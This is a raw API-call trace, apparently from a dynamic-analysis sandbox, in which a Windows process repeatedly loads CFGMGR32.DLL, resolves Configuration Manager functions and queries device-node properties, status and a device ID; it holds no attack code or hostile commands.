[0247.256] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0247.256] malloc (_Size=0x18) returned 0x20abc281f00 [0247.256] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x3b, ulProperty=0xc, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0247.261] malloc (_Size=0x48) returned 0x20abc27cf80 [0247.261] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x4f2593a2, dwHighDateTime=0x1d9eb0c)) [0247.261] SetEvent (hEvent=0x248) returned 1 [0247.265] malloc (_Size=0xd8) returned 0x20abc284e70 [0247.265] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0247.265] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0247.265] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0247.265] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0247.266] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0247.266] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0247.266] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0247.266] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0247.266] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0247.266] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0247.266] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0247.267] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0247.267] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0247.267] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0247.267] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0247.267] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0247.267] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0247.267] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0247.268] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0247.268] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0247.268] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0247.268] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0247.268] malloc (_Size=0x18) returned 0x20abc281ea0 [0247.269] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x3b, ulProperty=0x9, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0247.269] malloc (_Size=0x48) returned 0x20abc27cf80 [0247.269] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x4f2593a2, dwHighDateTime=0x1d9eb0c)) [0247.269] SetEvent (hEvent=0x248) returned 1 [0247.273] malloc (_Size=0xd8) returned 0x20abc284e70 [0247.273] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0247.274] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0247.274] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0247.274] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0247.274] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0247.274] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0247.274] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0247.275] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0247.275] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0247.275] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0247.275] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0247.275] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0247.275] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0247.275] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0247.276] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0247.276] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0247.276] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0247.276] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0247.276] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0247.276] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0247.276] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0247.277] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0247.277] malloc (_Size=0x18) returned 0x20abc281e60 [0247.277] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x3b, ulProperty=0x8, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0247.278] malloc (_Size=0x48) returned 0x20abc27cb20 [0247.278] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x4f27f98f, dwHighDateTime=0x1d9eb0c)) [0247.278] SetEvent (hEvent=0x248) returned 1 [0247.281] malloc (_Size=0xd8) returned 0x20abc284e70 [0247.282] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0247.282] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0247.282] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0247.282] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0247.282] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0247.283] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0247.283] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0247.283] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0247.283] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0247.283] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0247.283] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0247.283] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0247.284] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0247.284] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0247.284] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0247.284] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0247.284] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0247.284] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0247.284] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0247.285] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0247.285] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0247.285] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0247.285] malloc (_Size=0x18) returned 0x20abc281b20 [0247.286] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x3b, ulProperty=0x5, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0247.286] malloc (_Size=0x48) returned 0x20abc27cf80 [0247.286] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x4f27f98f, dwHighDateTime=0x1d9eb0c)) [0247.286] SetEvent (hEvent=0x248) returned 1 [0247.293] malloc (_Size=0xd8) returned 0x20abc284e70 [0247.293] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0247.293] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0247.293] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0247.293] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0247.294] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0247.294] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0247.294] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0247.294] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0247.294] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0247.294] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0247.294] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0247.294] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0247.295] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0247.295] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0247.295] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0247.295] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0247.295] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0247.295] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0247.295] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0247.296] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0247.296] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0247.296] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0247.296] malloc (_Size=0x18) returned 0x20abc281ac0 [0247.297] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x3b, ulProperty=0x1, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0247.299] malloc (_Size=0x48) returned 0x20abc27cb20 [0247.299] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x4f2a6664, dwHighDateTime=0x1d9eb0c)) [0247.299] SetEvent (hEvent=0x248) returned 1 [0247.437] malloc (_Size=0xd8) returned 0x20abc284e70 [0247.437] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0247.438] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0247.438] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0247.438] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0247.438] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0247.438] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0247.438] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0247.438] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0247.439] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0247.439] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0247.439] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0247.439] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0247.439] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0247.439] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0247.440] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0247.440] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0247.440] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0247.440] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0247.440] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0247.440] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0247.440] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0247.441] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0247.441] malloc (_Size=0x18) returned 0x20abc281fa0 [0247.441] CM_Get_DevNode_Status (in: pulStatus=0x2dc22fd3f8, pulProblemNumber=0x2dc22fd3a0, dnDevInst=0x3b, ulFlags=0x0 | out: pulStatus=0x2dc22fd3f8, pulProblemNumber=0x2dc22fd3a0) returned 0x0 [0247.442] malloc (_Size=0x48) returned 0x20abc27cb20 [0247.442] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd320 | out: lpSystemTimeAsFileTime=0x2dc22fd320*(dwLowDateTime=0x4f3fce60, dwHighDateTime=0x1d9eb0c)) [0247.442] SetEvent (hEvent=0x248) returned 1 [0247.479] malloc (_Size=0xd8) returned 0x20abc284e70 [0247.479] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0247.479] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0247.479] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0247.479] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0247.479] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0247.480] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0247.480] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0247.480] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0247.480] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0247.480] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0247.480] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0247.480] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0247.481] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0247.481] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0247.481] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0247.481] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0247.481] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0247.481] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0247.482] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0247.482] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0247.482] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0247.482] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0247.483] malloc (_Size=0x18) returned 0x20abc281b20 [0247.483] CM_Get_First_Log_Conf (in: plcLogConf=0x2dc22fd3e8, dnDevInst=0x3b, ulFlags=0x4 | out: plcLogConf=0x2dc22fd3e8) returned 0xe [0247.483] malloc (_Size=0x48) returned 0x20abc27cb20 [0247.483] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd340 | out: lpSystemTimeAsFileTime=0x2dc22fd340*(dwLowDateTime=0x4f46f512, dwHighDateTime=0x1d9eb0c)) [0247.484] SetEvent (hEvent=0x248) returned 1 [0247.488] malloc (_Size=0xd8) returned 0x20abc284e70 [0247.488] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0247.489] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0247.489] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0247.489] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0247.489] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0247.489] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0247.490] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0247.490] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0247.490] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0247.490] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0247.490] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0247.490] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0247.490] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0247.491] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0247.491] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0247.491] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0247.491] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0247.491] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0247.491] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0247.492] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0247.492] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0247.492] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0247.492] malloc (_Size=0x18) returned 0x20abc282020 [0247.507] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x3b, ulProperty=0xd, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x25 [0247.508] malloc (_Size=0x48) returned 0x20abc27cb20 [0247.522] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x4f4bb954, dwHighDateTime=0x1d9eb0c)) [0247.523] SetEvent (hEvent=0x248) returned 1 [0247.530] malloc (_Size=0xd8) returned 0x20abc284e70 [0247.530] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0247.531] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0247.531] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0247.531] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0247.531] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0247.531] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0247.532] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0247.532] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0247.532] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0247.532] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0247.532] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0247.532] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0247.532] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0247.533] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0247.533] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0247.533] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0247.533] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0247.533] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0247.533] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0247.533] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0247.534] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0247.534] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0247.534] malloc (_Size=0x18) returned 0x20abc281be0 [0247.534] CM_Get_Device_IDA (in: dnDevInst=0x3c, Buffer=0x2dc22fd2e0, BufferLen=0xc9, ulFlags=0x0 | out: Buffer="ACPI\\PNP0F13\\4&22F5829E&0") returned 0x0 [0247.535] malloc 